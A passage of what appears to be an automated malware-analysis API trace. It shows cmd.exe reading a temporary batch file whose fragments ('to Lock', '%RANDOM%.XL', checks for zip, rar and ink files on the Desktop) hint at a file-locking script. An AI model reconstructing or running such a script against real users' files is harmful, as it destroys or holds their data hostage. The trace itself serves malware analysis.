hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.598] GetProcessHeap () returned 0x4e0000 [0039.598] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.598] GetProcessHeap () returned 0x4e0000 [0039.599] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.599] GetProcessHeap () returned 0x4e0000 [0039.599] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.599] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0039.600] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0039.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\nf %RANDOM%.XL\r\n\n") returned 2 [0039.600] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.600] GetFileType (hFile=0x74) returned 0x1 [0039.600] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0039.600] GetProcessHeap () returned 0x4e0000 [0039.600] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.600] GetProcessHeap () returned 0x4e0000 [0039.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.600] _tell (_FileHandle=3) returned 54 [0039.600] _close (_FileHandle=3) returned 0 [0039.600] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.601] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0039.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0039.601] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0039.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0039.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.601] GetFileType (hFile=0x74) returned 0x1 [0039.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0039.601] GetProcessHeap () returned 0x4e0000 [0039.601] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.601] GetProcessHeap () returned 0x4e0000 [0039.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.602] GetProcessHeap () returned 0x4e0000 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.602] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.602] GetProcessHeap () returned 0x4e0000 [0039.602] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.602] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.602] GetProcessHeap () returned 0x4e0000 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.602] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.602] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.602] GetProcessHeap () returned 0x4e0000 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.602] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.602] GetProcessHeap () returned 0x4e0000 [0039.602] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.602] GetProcessHeap () returned 0x4e0000 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.603] _tell (_FileHandle=3) returned 79 [0039.603] _close (_FileHandle=3) returned 0 [0039.604] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0039.604] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.604] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.604] GetLastError () returned 0x2 [0039.604] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.604] GetLastError () returned 0x6 [0039.604] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.604] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.604] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.604] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.605] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.605] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.605] SetConsoleInputExeNameW () returned 0x1 [0039.605] GetConsoleOutputCP () returned 0x1b5 [0039.605] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.605] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.605] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.605] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.606] GetProcessHeap () returned 0x4e0000 [0039.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0039.606] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0039.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0039.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.607] GetFileType (hFile=0x74) returned 0x1 [0039.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0039.607] GetProcessHeap () returned 0x4e0000 [0039.607] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.607] GetProcessHeap () returned 0x4e0000 [0039.607] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.607] _tell (_FileHandle=3) returned 81 [0039.607] _close (_FileHandle=3) returned 0 [0039.607] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.607] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0039.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0039.608] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0039.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0039.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.608] GetFileType (hFile=0x74) returned 0x1 [0039.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0039.608] GetProcessHeap () returned 0x4e0000 [0039.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.608] GetProcessHeap () returned 0x4e0000 [0039.608] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.608] GetProcessHeap () returned 0x4e0000 [0039.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.609] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.609] GetProcessHeap () returned 0x4e0000 [0039.609] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.609] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.609] GetProcessHeap () returned 0x4e0000 [0039.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.609] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.609] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.609] GetProcessHeap () returned 0x4e0000 [0039.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.609] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.609] GetProcessHeap () returned 0x4e0000 [0039.609] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.609] GetProcessHeap () returned 0x4e0000 [0039.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.610] _tell (_FileHandle=3) returned 106 [0039.610] _close (_FileHandle=3) returned 0 [0039.610] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0039.610] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.610] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.611] GetLastError () returned 0x2 [0039.611] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.611] GetLastError () returned 0x6 [0039.611] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.611] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.611] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.611] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.611] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.611] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.612] SetConsoleInputExeNameW () returned 0x1 [0039.612] GetConsoleOutputCP () returned 0x1b5 [0039.612] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.612] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.612] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.612] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.612] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.612] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0039.612] GetProcessHeap () returned 0x4e0000 [0039.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.613] GetProcessHeap () returned 0x4e0000 [0039.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0039.613] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0039.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0039.614] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.614] GetFileType (hFile=0x74) returned 0x1 [0039.614] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.614] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0039.614] GetProcessHeap () returned 0x4e0000 [0039.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.614] GetProcessHeap () returned 0x4e0000 [0039.614] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.614] _tell (_FileHandle=3) returned 108 [0039.614] _close (_FileHandle=3) returned 0 [0039.614] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.615] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.615] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.615] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0039.615] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.615] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0039.615] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.615] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0039.615] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0039.615] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.615] GetFileType (hFile=0x74) returned 0x1 [0039.615] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.615] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0039.615] GetProcessHeap () returned 0x4e0000 [0039.615] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.615] GetProcessHeap () returned 0x4e0000 [0039.615] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.615] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.616] GetProcessHeap () returned 0x4e0000 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.616] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.616] GetProcessHeap () returned 0x4e0000 [0039.616] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.616] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.616] GetProcessHeap () returned 0x4e0000 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.616] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.616] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.616] GetProcessHeap () returned 0x4e0000 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.616] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.616] GetProcessHeap () returned 0x4e0000 [0039.616] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.616] GetProcessHeap () returned 0x4e0000 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.616] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.617] _tell (_FileHandle=3) returned 133 [0039.617] _close (_FileHandle=3) returned 0 [0039.618] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0039.618] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.618] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.618] GetLastError () returned 0x2 [0039.618] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.618] GetLastError () returned 0x6 [0039.618] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.618] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.618] _get_osfhandle (_FileHandle=1) returned 0x7 